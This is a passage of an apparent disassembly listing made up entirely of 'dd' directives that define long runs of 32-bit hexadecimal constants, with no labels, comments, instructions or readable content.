		dd 3193AC58h, 0F105E46Ch, 0DE2DCCF6h, 71A08225h, 93CA03A8h
		dd 6BB35A06h, 0D1F08200h, 0F96919FBh, 1C47157h,	760C0E52h
		dd 0F05C94CBh, 100C5A07h, 11117360h, 1E1B27D0h,	7BCF1818h
		dd 6138B814h, 824E8FA0h, 0C4C542D1h, 70F674h, 7EFEE8DCh
		dd 0F846D51Eh, 0D7FD8201h, 0A0AEA62Dh, 2742F8h,	7D98EDE2h
		dd 2496741Fh, 438DB500h, 4A382E7Eh, 0EEA7BF3h, 7630E43Dh
		dd 5BB932E1h, 844E6Ch, 3887DEF1h, 2312123h, 4FEDF2A6h
		dd 8C2021Eh, 0F5002CD9h, 86C942D9h, 737577A2h, 5770098Dh
		dd 0CCF15248h, 0C184BC10h, 0C004F8DDh, 23F8BD77h, 437F1691h
		dd 5D5CD09Ch, 7008EF9h,	22A5DD95h, 9DC8068h, 3BBCF6EDh
		dd 4210C000h, 0BD0F11E5h, 3304B94Bh, 586544E1h,	0A4B28478h
		dd 41573814h, 721020CEh, 23F875B7h, 0E502E81Ch,	0CEC3F6C0h
		dd 51457C53h, 2812A8C1h, 94851AA0h, 8034EC1Bh, 0AE90FCEh
		dd 30450020h, 33F6CC2Fh, 3D3BAC23h, 0C02C0156h,	596BB362h
		dd 70307035h, 220A884Fh, 92930703h, 0B53EF45Ah,	0E580F0E8h
		dd 754FC032h, 9200FAF2h, 76A281B4h, 2B8E912h, 408B608Dh
		dd 0C4CEBE2Ch, 0B1306C45h, 9C0B00BDh, 0AA29EA0h, 0C5E2E753h
		dd 0D20097F6h, 0DFCA6D0Eh, 1D3B3308h, 4202AED7h, 9D639574h
		dd 30790C89h, 4CBB9785h, 1631B4B4h, 206894F0h, 4F6CC1C0h
		dd 0E664AC03h, 220B3CB0h, 7E005291h, 90E2312Fh,	12D1119h
		dd 0ABCB98D4h, 5081D02Ah, 47C5DE24h, 3B1F5901h,	0A10E6645h
		dd 4B6C0889h, 4E42A4C4h, 68C43625h, 765FC800h, 17BB6087h
		dd 0D47D01DEh, 241E8A78h, 0D0223E6Ch, 5E58CA9Fh, 0C5B8CD84h
		dd 0A9F60009h, 0F5760BCDh, 4891C690h, 2F1B60BEh, 1B1C70E2h
		dd 0BB1D0133h, 72601555h, 5D851C00h, 0A737D3E1h, 0F608C28Ah
		dd 20E4656Fh, 8B0280A6h, 0D97D3B8Eh, 1F34DEAAh,	60BC648Dh
		dd 915D924Bh, 59B12200h, 991D6052h, 94F716E2h, 8080F843h
		dd 1720C8A9h, 34840351h, 6D96F4ADh, 6CCFF0F0h, 7DDA5E00h
		dd 0B8515918h, 0D7460026h, 0F3B6E78Ah, 30006898h, 0ECDFB0A9h
		dd 0B5CCDDC0h, 0F3D47C38h, 7B6BCB0Eh, 0DC2A806Eh, 130308E6h
		dd 133B4EE2h, 1B5C327Ch, 3B002819h, 262414B3h, 0F82D1CDCh
		dd 0E7494AACh, 0D28E002Ch, 786D16DFh, 0E54B2D4Ah, 0B7086C51h
		dd 0F82613D7h, 7E3A8180h, 9E23CB8h, 201E1484h, 38CC198Ch
		dd 35944B40h, 0FB1624C9h, 1F6C20D5h, 0E8004528h, 0ED629AD9h
		dd 1AA94FB9h, 50DCAEAFh, 0A08C9BDFh, 4B7331FDh,	6ED4DDBBh
		dd 0A4BC9035h, 534F111h, 8AE61E3Eh, 7D5AD406h, 61E4B630h
		dd 84C5794h, 4050ED3Ah,	0B8F35C5Eh, 40F41370h, 39510B21h
		dd 0FFDB2C80h, 0CF4E349Dh, 0EF10E0A4h, 0A1E0607Bh, 0E000B186h
		dd 7AC7BE94h, 0AEA831h,	0D002557Bh, 73E67920h, 58416422h
		dd 89646926h, 0CF88B42Bh, 0A05B6900h, 5C055ADDh, 1FD270FAh
		dd 0B1E1640Fh, 110B5339h, 282B6569h, 4B009B48h,	1051CD6Fh
		dd 489358Ah, 99D25DBh, 118C145Bh, 0C1013264h, 634A6C33h
		dd 1C206BF0h, 1CC6176h,	952E1281h, 7C5AEBD9h, 0D4B011D0h
		dd 884AC114h, 254CA4Bh,	9E99FFD8h, 6D989136h, 433C24F2h
		dd 9826A690h, 48B47915h, 16165854h, 8CF4AC07h, 16F66908h
		dd 66A4D9h, 0F5B5AA84h,	43059920h, 0B3CDBD12h, 0ACF03C13h
		dd 0B6BF4B70h, 6244264Ch, 6DE62900h, 5AA6B0Ah, 8497C06Ah
		dd 159C0473h, 0A460EF5Bh, 1F0BAE4Ah, 403A8C39h,	0FD7072CDh
		dd 481D5D8Ah, 64C46D4Fh, 0E410A5DDh, 13CD117h, 0C9663B2Ch
		dd 7107C8Bh, 166469D7h,	56514448h, 8C13E0E8h, 6240C84Eh
		dd 2D3B1D00h, 8B4838D0h, 25DE69Eh, 0B9802913h, 2BD7B079h
		dd 0D16405A0h, 0C8928CF8h, 11009834h, 5E6709A0h, 25BBA53Bh
		dd 0F0F8153Eh, 9566901Eh, 3D878C29h, 2CF733A8h,	12C113C0h
		dd 0E9A401F5h, 9D473AB9h, 0EAC4811h, 1DAE3261h,	903F5E90h
		dd 300F5228h, 433680h, 417E67B4h, 0BABC82B5h, 0D9B61509h
		dd 8ABCF62Eh, 83E80DB0h, 0B14E3A63h, 246A52BAh,	974064FCh
		dd 1F1EE5h, 5B64531h, 0E890B520h, 0DDCF2200h, 0C863C3D9h
		dd 0B4D1007Bh, 4CE3AD60h, 8209423Ch, 72E9C0EDh,	40789CFCh
		dd 0AF5FAC51h, 306D6401h, 0FFC4093Ch, 0C763A841h, 949DD808h
		dd 0C0630948h, 0D4C03D67h, 0BE125C07h, 0ECE4CB71h, 1E3B19AFh
		dd 0C92E88Ch, 0E4618AF2h, 7F1F12DBh, 0B4647090h, 73016DEEh
		dd 5868B6Ah, 95D493D8h,	141E0439h, 0C349B9F0h, 0FCD57C26h
		dd 0F54C058h, 0AA6201h,	0ED588E8Ch, 68DFC28h, 0E439CA01h
		dd 49176F97h, 7CFFCF40h, 141909BBh, 3091E8C2h, 4C39C7h
		dd 0B15D825Bh, 2DAFAA84h, 58C6BECDh, 534B4309h,	8908F634h
		dd 0E49AE064h, 178BD074h, 39508240h, 646800CCh,	14A9D62Ch
		dd 98639Ah, 0A899327Ah,	0F8ABF66Fh, 0B76200A6h,	43EBBEC9h
		dd 34B11AE1h, 0E922823Bh, 515988F5h, 6A033D9Ch,	935DF09Bh
		dd 2BEB4189h, 2D860C8h,	0AAE5CAE2h, 0B7E37516h,	8830C021h
		dd 0C280D655h, 501E3CF1h, 29E8011Ah, 4167C3F7h,	7B030C8h
		dd 98395700h, 7334F08Ch, 50891CCh, 481B01D7h, 9564E2F8h
		dd 4530F640h, 0AA0E06B5h, 0E5E615C0h, 14BA28E0h, 0F9036C9Ch
		dd 5748AE2h, 0DD106D98h, 3F049300h, 60B54637h, 0FE61F1Ah
		dd 30A3000Eh, 5D109235h, 0C4918125h, 27053E60h,	62B15184h
		dd 0D36481BAh, 896F08C5h, 1081881Fh, 464255Eh, 0A8441300h
		dd 0D7E566B3h, 3A678F0h, 0F81AD4AAh, 7D90428Ch,	49C0E3F6h
		dd 0BC756EE0h, 848E4F57h, 0C4AC0418h, 0D5F02196h, 6B221472h
		dd 0CFCDA212h, 86C74CC8h, 620918A0h, 263C4484h,	0B8CC4A4Fh
		dd 81B48E2h, 0C022EACEh, 7082CFD5h, 0AC7A4E57h,	6EB28D1Ch
		dd 5C4ABFD2h, 5F925040h, 449204A2h, 28684440h, 0C278C094h
		dd 19D999DBh, 4E00A9FCh, 3F9AC7C8h, 5597B2h, 0CD7C928Bh
		dd 0E814EF0Dh, 1F84E01h, 177969B8h, 0F290C8h, 0FEDE27FDh
		dd 8DCA618h, 0CFA3E401h, 0C62B0985h, 0BE3AD0h, 3B7F5C2Fh
		dd 0C0B76643h, 0CD332E1Eh, 95E28Fh, 0E901492Ah,	9BC30C58h
		dd 3A408E8Bh, 86C04B10h, 0DCD2E300h, 61409F6Bh,	4A7FF303h
		dd 1CD18E7h, 0DFDACE61h, 8094A5C3h, 91BFCF10h, 0D31C53h
		dd 576B50Ah, 588C2355h,	0E20B400h, 6FC301BEh, 3A1E7D09h
		dd 0DCC8FDCDh, 972F7160h, 89C0A5BAh, 8D4F2DDEh,	65903A60h
		dd 939D2403h, 988BA640h, 7FDD7100h, 1C42A5C8h, 1AF11E36h
		dd 0EC234088h, 4A012806h, 0CB1BCA18h, 32C366B1h, 22805BDEh
		dd 0A6123819h, 0EA836481h, 4C01C458h, 0E4E89B07h, 0F060132Eh
		dd 0A4CA2409h, 151E0B0h, 1FC547C0h, 0F3FEB183h,	80414A99h
		dd 0F6B66549h, 0AB8E9B96h, 2DC3E0D0h, 35D0CFF2h, 32F0A70h
		dd 9700D038h, 4DB5079h,	8540C714h, 562DC1DAh, 3CCE182h
		dd 344DFB88h, 3089D4C2h, 63518E88h, 13183107h, 4910C6FCh
		dd 0C31CED36h, 95DF7DF4h, 838819B1h, 969ACF78h,	0B1990DE7h
		dd 0F0498246h, 0CA0A98Ch, 0B688864Fh, 0B7030C93h, 9CE81288h
		dd 0C311DC88h, 0B65D64B1h, 0D6E76DF0h, 9C930600h, 5711F7D5h
		dd 1D317299h, 0C09ABAC1h, 5304C944h, 7A006380h,	64BCA097h
		dd 24F1223Eh, 184C090Ch, 8843E886h, 0A748582h, 0EB1D8C20h
		dd 0B99800ACh, 2C540925h, 0E0C46802h, 0CB3196E5h, 0DB5A00C8h
		dd 200E507Ch, 12F514C9h, 6924C8B0h, 0FB4A04A8h,	14FA4A17h
		dd 2E831609h, 6A04840h,	2109E12Fh, 8E154300h, 0EE931222h
		dd 51AC0306h, 3F84F0F6h, 0A4B19BE2h, 24640844h,	604C1AE5h
		dd 4A8EDDEBh, 0F1218966h, 0FA5A2190h, 1EA3E308h, 0D051372Fh
		dd 0CDB31B48h, 0B6004E98h
		dd 9C80C8Eh, 0C468BE19h, 2B955B0h, 10177CDCh, 0A27348F6h
		dd 972CA11Bh, 5A510FD4h, 60205C2Eh, 48B6D877h, 2A1C560h
		dd 14D2764h, 6F73FF6Eh,	0BF0DE12Bh, 0AFD38051h,	0AE94EA62h
		dd 0ADF686h, 9AB76854h,	0A0457E4Ah, 93126E98h, 0EC41CEC1h
		dd 55360924h, 8D5CF8h, 93032D7Bh, 11F06554h, 94C14B2Ah
		dd 99248100h, 5BE3DAD4h, 0C5501EECh, 974842F2h,	0AC91B48Ch
		dd 0DC23E245h, 7699000Ch, 0FB363161h, 0D90279CBh, 0C4943421h
		dd 0F0A44839h, 9380A059h, 3C208AB5h, 3E7C1604h,	0E7B98100h
		dd 0A213F237h, 24B2E8FAh, 64803B93h, 200F2255h,	0BDE134B0h
		dd 0CD10B304h, 0B4C13FECh, 0DD010419h, 8C298026h, 32E33927h
		dd 0C48803DEh, 153BB7C5h, 0B19728C0h, 0B41DE826h, 8EC40169h
		dd 38448D46h, 2900241Eh, 0C9DA53Ch, 7DF5014Ch, 5E9F1888h
		dd 2061C96Ah, 6C865224h, 819939EFh, 90EEF440h, 88CC390Ch
		dd 0AA722D82h, 74646797h, 110B20A1h, 7980AB2Fh,	0DF4A1FD5h
		dd 0EF1D5E83h, 2D49D04h, 0ACFDCAF8h, 743950h, 9C17CDB4h
		dd 4C159697h, 52B9F01h,	0DB6C9302h, 604B1430h, 0EFDC31BFh
		dd 0ED02A826h, 3E3C2CE6h, 0B2D84078h, 7F7563h, 1DE468F3h
		dd 2174AD1Eh, 113898B0h, 0E0800023h, 4C04CF83h,	7F761F0Ch
		dd 5FB800F6h, 0A1422213h, 332F8DA0h, 0B29B9000h, 6C4897ACh
		dd 0B4E207C0h, 0EA93B32Eh, 0CCBC64F4h, 4B88B08Ch, 888F8AC2h
		dd 0E529F2E1h, 4C6360E7h, 0BEEB04Ch, 282BB7Dh, 0C448DA0Ch
		dd 21F60EACh, 0FF1EFC69h, 0D7F9CD80h, 5B811AB0h, 0F0F2B70Ch
		dd 0C847188h, 83A6FA59h, 3F046A11h, 61D61F7Eh, 302094C2h
		dd 0DA8B8756h, 667E1011h, 0E162C3E0h, 11B8BFD9h, 0B6ED1056h
		dd 0E0DE0061h, 325BB8Bh, 3F0CC03Dh, 0C0A5637Dh,	0F9AF602Fh
		dd 0BC1FBE5Dh, 80D02C3Ah, 0E4B0A5DDh, 30AC9046h, 4A083DB8h
		dd 62FB5E91h, 0C02004Ch, 0D960C95Dh, 2F970FF4h,	6A6788FBh
		dd 5B48434Dh, 6100ADCBh, 298A7801h, 1292AE9Dh, 8B09EF5h
		dd 446413BCh, 2C096541h, 0A75424DDh, 0FB0060B1h, 80FE484Ah
		dd 0ADA50213h, 950AC9D4h, 0A201E468h, 98305B89h, 0B74D0AB6h
		dd 62BC0DF9h, 0C8C0C141h, 99C0A291h, 0B0EF3FC4h, 0AE59261Dh
		dd 0CDA69070h, 604C29F1h, 99020092h, 0A50430F2h, 0A22423E0h
		dd 0CD01BCD7h, 66C35BE8h, 0C41EA823h, 0D9964322h, 82B5E349h
		dd 9A22FC18h, 20E68Dh, 82138B93h, 25F6B240h, 9890A09h
		dd 0A6B41020h, 7A39C0FDh, 1339EEA4h, 0AE0A8E14h, 0B88710A4h
		dd 9A8A4788h, 293E4491h, 6512844Eh, 0A151481h, 8B876600h
		dd 161ADC12h, 0F3B73042h, 519C98F7h, 9AA630FBh,	0CD150511h
		dd 0E0DCBA00h, 0F964D647h, 95D10017h, 29FD41D9h, 4EB82D5Ch
		dd 0C8C8EE5Ch, 1768B23Bh, 20884226h, 9B251BC1h,	581498h
		dd 0DC12EB49h, 0B1780EA4h, 10901BE4h, 628C250h,	2BF11045h
		dd 99F04865h, 92A40430h, 80978EC7h, 830C8F49h, 34D58100h
		dd 0B624A020h, 9A077D57h, 4D031C1Ch, 0B706F923h, 0F1935D8Eh
		dd 6127DC31h, 9670D7A4h, 0B6072499h, 0BB0A00BCh, 9AB2CEF2h
		dd 20C3BA24h, 0E0C8A210h, 288A5A92h, 9A24BB22h,	0E54FC498h
		dd 0C48FC47h, 942D94A3h, 0F225F420h, 488039E6h,	0D38848h
		dd 1A578A69h, 0A5AADFDh, 0D7769214h, 900621C8h,	0ED19E84h
		dd 0C8313848h, 20692F59h, 8F40D9ACh, 0B19672BAh, 0DE4B0CD0h
		dd 8307E729h, 0C93E257Ah, 0A7CB7C0h, 0C24305D2h, 1C95D3DCh
		dd 0F3BF00C4h, 0CA4D579Eh, 8F540400h, 883B0A8Dh, 16DAF614h
		dd 268BD2Ah, 18FF7A6Ch,	3A3AE22h, 7900B12Fh, 0CEA73438h
		dd 94C5E1h, 538744CDh, 0AED234Eh, 6EB87B17h, 8D83818h
		dd 25A344CEh, 1858C542h, 59B50B71h, 54A2C1E4h, 54C2C7ACh
		dd 7E5D64C8h, 4365DA00h, 0DF5C061Bh, 692E0A96h,	67BC18E7h
		dd 97C3C1DBh, 0F6029DDh, 0E1E2DC98h, 183F071Dh,	292581E7h
		dd 73B320ECh, 31ED252Fh, 48764C05h, 989AD74h, 0EA7C9323h
		dd 5B82181h, 50D120DAh,	0BB661F03h, 3E338952h, 42C138B8h
		dd 6521A428h, 0A310B72Fh, 1400F51Ch, 19EAFF6Fh,	7B4675h
		dd 17CF1578h, 359D66F6h, 0F48EE309h, 477C02EEh,	22C46695h
		dd 2577CE24h, 0D49F5712h, 4015748Eh, 28211CFEh,	9F905026h
		dd 3E13A1DEh, 1EB50004h, 76588C48h, 2ABC01AFh, 0B6B74511h
		dd 622FDD89h, 866800D8h, 0C39F4D9Eh, 23520F08h,	0C2E79825h
		dd 0A27C934Ch, 38642DFAh, 952C71E8h, 3D40A4DDh,	10F60CFCh
		dd 214A8709h, 0C5A91E7h, 71A8929Ah, 13F676DEh, 12C6B71Ch
		dd 2214CBA4h, 0ACDC48AEh, 77F86E83h, 0BC3994D0h, 4155A140h
		dd 80502CA6h, 445F1CDAh, 0B18500B9h, 9B23011Dh,	0B8A58F28h
		dd 11C9488Ch, 67D01D1h,	93B6CA8Ah, 5E6051E3h, 3444C16h
		dd 8FEDF900h, 0A207BD5Ah, 0D51C1295h, 0D8ACC4A4h, 5C48B178h
		dd 94129F40h, 844178C8h, 54930609h, 0DB9C22CDh,	8707309h
		dd 0F46A8058h, 0D12A0904h, 8D0B64F2h, 2C10A55Bh, 1813A9F5h
		dd 7800F654h, 0F2BFF7DDh, 55150122h, 0EF4BB50Fh, 0D484F676h
		dd 0C7B032EBh, 8F5D0878h, 4ED59E2h, 0B8B2F9h, 6C2D8FDEh
		dd 25536D93h, 0D0101CE3h, 4830DBFAh, 7256F1BFh,	5826071Ah
		dd 623CB06Fh, 0F8612BBAh, 89850C42h, 13B47057h,	1DA8040h
		dd 9D0F0C9h, 0FAE240DEh, 0DAC70079h, 8D6203BFh,	0F3E9215Dh
		dd 0F10BB991h, 80192909h, 10F20D0Eh, 8B307D40h,	543F80AAh
		dd 97D71243h, 44242348h, 398430C5h, 0EA7B3210h,	50972926h
		dd 0B7C89A10h, 4A8EDA83h, 6389078Ah, 1E9B8F79h,	0A4A47289h
		dd 0B1F8B0C8h, 0B0944B7Dh, 0F424AC44h, 25008B64h, 61C8D022h
		dd 798D631h, 8AA49130h,	0A860B1B7h, 0C3DC608Fh,	0FF48B900h
		dd 8129F84Eh, 0EF7601ADh, 919B9079h, 0DB2C42B7h, 0E0264520h
		dd 0AB5600C8h, 603CAA89h, 271432F8h, 21D89806h,	5BC4BC4Eh
		dd 0A9EC283h, 30282054h, 17C987A6h, 59000E0Ch, 0F488C192h
		dd 0F65FC6h, 0E9D86B95h, 8EB6EF44h, 0C8E04B58h,	0FC044B97h
		dd 0B7EC4589h, 42DA58A0h, 26352252h, 6070662Fh,	43F1FE14h
		dd 1E216717h, 0F9B9E200h, 58BA3F4h, 0DC991A9Bh,	2ADCCC02h
		dd 2F68AF13h, 0C31E8090h, 4D150186h, 0BC24F970h, 489CD44Eh
		dd 53B3C40Fh, 10DCB41Ah, 4B18C04Ch, 1CACF9DAh, 3177D10Eh
		dd 5A6680E4h, 57E697h, 6749EF52h, 7DFA8F4Bh, 39555300h
		dd 0A14E6BA7h, 0CADB17C3h, 0FCA00859h, 71976380h, 99B71F45h
		dd 1033815Ch, 0EC735B5Dh, 9FDC393h, 0F83927CBh,	0D48680Fh
		dd 0E925DD0Ch, 56E002EAh, 38D079E6h, 0F8558FC1h, 0B400FC52h
		dd 7A29034Fh, 917F594Bh, 511C82B0h, 8CA0AA2Fh, 0F018527Bh
		dd 76049D72h, 99B96F9Ch, 0D12A7C82h, 12F21118h,	0B8322F09h
		dd 18271903h, 208B41B3h, 2D229D80h, 3CF05839h, 2160F930h
		dd 0E888408Eh, 884381A1h, 0E2011E8h, 1C409766h,	0A692AA31h
		dd 4A00C8B1h, 0C0512CC9h, 333C0004h, 1F6B5C38h,	37138CB3h
		dd 60086577h, 0FB6684CBh, 957C1DBh, 223423AEh, 7DC2C74h
		dd 0C4A2498Ch, 0EE01EF01h, 84331BE6h, 8DEC212h,	0DC8C91FCh
		dd 0FE563922h, 2E740077h, 9667398Ah, 5300201Dh,	0DC34E7Dh
		dd 0F3089BACh, 0C8EAF893h, 78B98A58h, 86C02C04h, 0E481FC48h
		dd 253D1337h, 21E25060h, 0BA1317FAh, 2EF82428h,	527D215h
		dd 813F8A61h, 8BC2FC8h,	0F14D444Bh, 0B4FEBCB0h,	9A109F89h
		dd 7300E0D5h, 0C0AEBDC8h
		dd 11179Bh, 0EC377956h,	48D91334h, 0AC00CCB9h, 0EB2AE62Dh
		dd 57AB034Dh, 0C5A725F3h, 8C4BA990h, 0A03C20F7h, 3CA8C0B9h
		dd 0FE8B244h, 0FC4DC2CBh, 5E16180h, 600E92Dh, 8120BBF1h
		dd 0A18240FEh, 970CE698h, 0BF252184h, 53008311h, 0FD603082h
		dd 80A15B19h, 0A6F8546Ah, 0A0DC2D34h, 66895970h, 0B21301D6h
		dd 3216A935h, 7926E8EDh, 7B0B3902h, 50F7D148h, 0D70922A4h
		dd 0C9AC2F30h, 0B82DAAh, 0E54B6DCBh, 0BCE67EEAh, 3C9C562Ch
		dd 0B853BF90h, 6C42007Eh, 20393AEh, 4B094CFDh, 1861E499h
		dd 0B1D8F234h, 4200BEB8h, 983068E3h, 6310605Bh,	6221E572h
		dd 0B1129C91h, 0CB409742h, 709038ECh, 444CC45Ah, 38371DCh
		dd 1DC65BF6h, 2A801666h, 0B30BD8F0h, 4EE45D15h,	0C64830D4h
		dd 0FD0E1611h, 67DEB801h, 9709536h, 42B046FAh, 0E1A1129h
		dd 30264B7Ch, 0B923B6ACh, 2B52217Ch, 7454590Ch,	0B6DD1740h
		dd 252E807Ch, 9B5719AAh, 0CCA92F0Bh, 779C982Ah,	0E93C0167h
		dd 6F0D2724h, 829CFCD4h, 940076F8h, 1F7E3215h, 1603199h
		dd 9740668Bh, 0E1D36564h, 1461D214h, 0F4A04D8Eh, 2409C182h
		dd 40A01830h, 84B7D7E0h, 9165B244h, 7ECB806Ch, 0BD2271C3h
		dd 81EAAD26h, 0BC3D4800h, 1ED6F005h, 0CA8AE2CCh, 28742DF3h
		dd 0B789235h, 0A5351DB0h, 0C50C3083h, 68D22AC3h, 0A8884478h
		dd 5103A7CCh, 93B2B3FBh, 0A7F4DBh, 8F0EC24h, 0DC0B81A9h
		dd 1390C404h, 3037975Bh, 0F98F41C8h, 474CD8B0h,	101BB06Ch
		dd 3DB400F6h, 0E8FA2CD9h, 0AE585735h, 1E510108h, 3BC69A7Ah
		dd 72211868h, 0BCCB9797h, 4942867Ch, 4809063Eh,	3CC8F06Ah
		dd 0C0709245h, 58AE5B73h, 0A113DD37h, 0FC63C247h, 6802157h
		dd 5CE2088h, 2DBDEh, 71FA7C18h,	2D02D0F1h, 220968ACh, 4E3C44D5h
		dd 6C6040E1h, 7A3F1507h, 253CB70Eh, 0A187A4B5h,	0A850E8B6h
		dd 21C84174h, 0C8182CB0h, 60E14F26h, 0F06CB964h, 488661E0h
		dd 0D730F4F3h, 4490F211h, 0E30770FCh, 6839921Ah, 0CC6ECB90h
		dd 37B0017Eh, 0B2C3B8A3h, 507DDDh, 52AD5D2Fh, 26454A92h
		dd 0D7C63Eh, 1951975Ch,	0C002DC48h, 220A8BBFh, 0B7B8A05Fh
		dd 0C94F46E0h, 4C903088h, 0D400FB7Ah, 0B396F720h, 3B70C59Ch
		dd 21602FDCh, 0A1A8EF07h, 75F8F200h, 79F9A04Eh,	28C6F2E5h
		dd 0F9C06526h, 299BDC64h, 3EF4BC93h, 65008022h,	0E04D558Dh
		dd 2C5867Eh, 492CB791h,	0DC80D616h, 0A2022FF1h,	54A8CBh
		dd 0B1B04BD8h, 85E980FEh, 8A1E7C88h, 14D81C41h,	0D60020B2h
		dd 4F706310h, 0F600AB58h, 0DD5BB340h, 192243ADh, 7044C1F1h
		dd 82382984h, 21A2BA97h, 85F20CB1h, 0FB0D5FA1h,	0DA2DEC44h
		dd 7196A646h, 86A0124Fh, 32A900E7h, 0C582C76Eh,	1E2E56A6h
		dd 0A5615CBAh, 2BF46D15h, 622F009Ah, 22464D65h,	0E709E550h
		dd 44B664CEh, 0B444020Ch, 66678013h, 0C10020F1h, 2F877E1h
		dd 0FBF40125h, 8D63B3E9h, 2F28306Bh, 0D0A3A231h, 0BC23488Eh
		dd 40909721h, 7F93B682h, 4B22AC5Ah, 27654B57h, 10785088h
		dd 0D23E0B87h, 442450A2h, 0BA9D3E00h, 0B668F263h, 42050020h
		dd 972B66AEh, 29C0A498h, 5EEB501Ch, 25A09AF0h, 0B065B843h
		dd 2B1E2411h, 5359806Bh, 0DD03A374h, 79113600h,	0F513B0A2h
		dd 0A6E0094Bh, 8812D18h, 81A79195h, 81FDDE69h, 0BC22CBB7h
		dd 20E12D13h, 41FE6A64h, 3DD5D800h, 0E8903CF6h,	1693002Bh
		dd 0AED39DD4h, 0C304DC3Ah, 8FCC223Eh, 910A0C82h, 2D109AF4h
		dd 45031DAFh, 657E0551h, 0C6C3D030h, 867C0222h,	7BBBCC3Ch
		dd 6C665C41h, 80768830h, 679314B6h, 8C9A4E43h, 0A022FF43h
		dd 0A8A55718h, 442E64E1h, 170023B1h, 6B095987h,	3EA34532h
		dd 0D68F5D0Ch, 246650FDh, 250CB1C7h, 88C05F03h,	48D18662h
		dd 479D1144h, 8BFE4810h, 0E118B091h, 144D4C5Ah,	1DF04424h
		dd 45B026CEh, 4D140194h, 0DDAC4CD6h, 79824B4h, 40608E41h
		dd 9D0084ABh, 361BB44Eh, 2648B74Bh, 4ECE7FCh, 0F5080FDCh
		dd 8044FA98h, 2A097E00h, 3F4E7F65h, 59E00C0h, 0B38A8212h
		dd 4075A31Dh, 0EB8110BEh, 179774E7h, 3587C86Ch,	3CF5F024h
		dd 0AB0186E8h, 0B3A06554h, 9EC9F1ADh, 880F8C60h, 4D1FC9DAh
		dd 40EEE6D0h, 7000B8A6h, 0C4264F1Ch, 66EE3E68h,	96640700h
		dd 79D32805h, 59256000h, 6B3008ACh, 0E7610078h,	0BD3C4EF1h
		dd 8B01106Ch, 96B5AA40h, 0F058B293h, 72E78130h,	76F078Ch
		dd 2AB04B98h, 24AE37BFh, 31C4C08h, 97A9CA2Bh, 17196B88h
		dd 6461361Eh, 8843591Ch, 83BA8CA2h, 0F06BB183h,	0EE01EC76h
		dd 0F9F63F7Eh, 6DC6F877h, 93F80739h, 340412B0h,	530086C3h
		dd 0F23402E5h, 0A04F8D29h, 0F0721080h, 0E13705Fh, 0AD0718B4h
		dd 8637C860h, 2C02F8F9h, 0A1148F69h, 7B8CF09Ch,	0DB4B0905h
		dd 0D4491308h, 8B0622Dh, 0AD250EDCh, 0EF396490h, 63F44250h
		dd 9548A300h, 0B1D9C516h, 0C1860009h, 7D2E9FA0h, 0B30769A6h
		dd 8A6BE2EFh, 3F3C0539h, 7EDA0C00h, 131E3DB8h, 0C806DBD3h
		dd 98005404h, 129F7530h, 7D415Bh, 5597D7B3h, 0EAED7F76h
		dd 0DCD36600h, 5108B4A0h, 0EC9B093Ah, 54D1DE14h, 4E1A8181h
		dd 94C4C0F8h, 2682EE07h, 0BF9CCA48h, 0D77802C2h, 611E28A7h
		dd 202A6816h, 0A5B2480h, 59F65F04h, 3087CBDEh, 1FC478C9h
		dd 836A2D04h, 8A0C3C8h,	884558Ah, 30BCF2FBh, 0B21A20F7h
		dd 0A30103FAh, 0F29AD135h, 1C54F6D2h, 49C8296h,	5D113994h
		dd 2A46CA6h, 644C013h, 0ADA008E3h, 967FB09Ah, 90888F4Ah
		dd 2FEC8889h, 28A66A2Ch, 93229044h, 484038D1h, 769963C0h
		dd 2DE70ED7h, 6B00EA9Ah, 2AB2CEC9h, 11E0F118h, 88AB97A9h
		dd 189541B1h, 204966C8h, 5499023Dh, 8E05F81Fh, 508C9A41h
		dd 0B1688A8h, 0F046151Ch, 5FF59C80h, 2223124h, 83012D4Fh
		dd 2C50694Ch, 4199A633h, 0AC9F882Ah, 5C9C00ADh,	0A51B63A8h
		dd 7E00E9B5h, 0E313FB1Eh, 3EED2D78h, 1405C0D9h,	81360C9Bh
		dd 0ECCB575Ch, 0BF0117B6h, 0DB7E0D65h, 0C6DD309h, 0F040205Fh
		dd 0ED077CB2h, 0B1C8F7BBh, 80B80C21h, 9C386071h, 0F4CC2EB2h
		dd 9423C200h, 0B2429F60h, 0A26701ACh, 0B1147D37h, 33A03054h
		dd 1DE0809Ch, 391D85Ah,	512FEDA9h, 0C4E27D74h, 6C0018D1h
		dd 915B951Ch, 42B866h, 4EBB165Fh, 8A36C762h, 8EE33B00h
		dd 0DB7239F9h, 9DD4A0Eh, 0D81030BCh, 0C8F05E11h, 180F903h
		dd 0F8A14737h, 26888192h, 60088DEDh, 2B58092Fh,	0B6498000h
		dd 532D45C0h, 2E8B897h,	0AD512C42h, 28C0A37Dh, 618AAF96h
		dd 8C08FC48h, 2DA1A344h, 100EF018h, 0ED05F6C8h,	3856248Fh
		dd 87A9E008h, 6062B823h, 0B7F99E7Ah, 1420C04Eh,	16D6EEh
		dd 70394E52h, 993319A6h, 9FCAA70Fh, 5856DE61h, 3244D300h
		dd 58804A8Eh, 47B1D417h, 385A31C5h, 16EC85B0h, 442DFCF4h
		dd 6B78FAC8h, 68076100h, 0EC3719E4h, 4230058h, 0B72BE551h
		dd 0FA515E7Dh, 1EB872CAh, 6D408C27h, 0B8772BC6h, 530701FEh
		dd 0D8FCEE17h, 8F506CBEh, 0E6409F33h, 31391BFBh, 1460005Eh
		dd 0C2012BD3h, 0E0241C3h, 692DFE54h, 14CD86Ch, 68F51564h
		dd 0C0BD28E7h, 0C24E2A4Eh, 7EBA8C98h, 6D9901B4h, 9456EF8Ch
		dd 170840C4h, 97272DAEh, 30658Bh, 0EA3F9A03h, 0D500B3DDh
		dd 0C6A5D401h, 5C5B21E8h, 8B82D87Dh, 0A4660217h, 0E4404B4Ah
		dd 629EAAF4h, 0F5D300E1h, 0E6A6740Fh, 0E803873Dh, 8DCA57FAh
		dd 47C91C6Dh
		dd 0B6684B15h, 3DD8E003h, 8010BCB4h, 5ED0CB0Eh,	26F72EDFh
		dd 60682568h, 3D00B4CEh, 0F533FF8Bh, 7E65855h, 0BB8325B0h
		dd 0F6FD7027h, 0AF5DE12Eh, 48455888h, 62F8048h,	5C9EC665h
		dd 51027857h, 0C7A5D875h, 0A1409476h, 76A05CAFh, 0B26107B9h
		dd 909EC33Bh, 4406697h,	0CC9D802h, 62C05850h, 0E2684628h
		dd 0DAF03E38h, 0D5000F3Ah, 0BB25412Ah, 0E4B8C8D2h, 25C63E22h
		dd 344605DCh, 81A449C8h, 51AC58F0h, 30C6F5B5h, 0ACBC9C34h
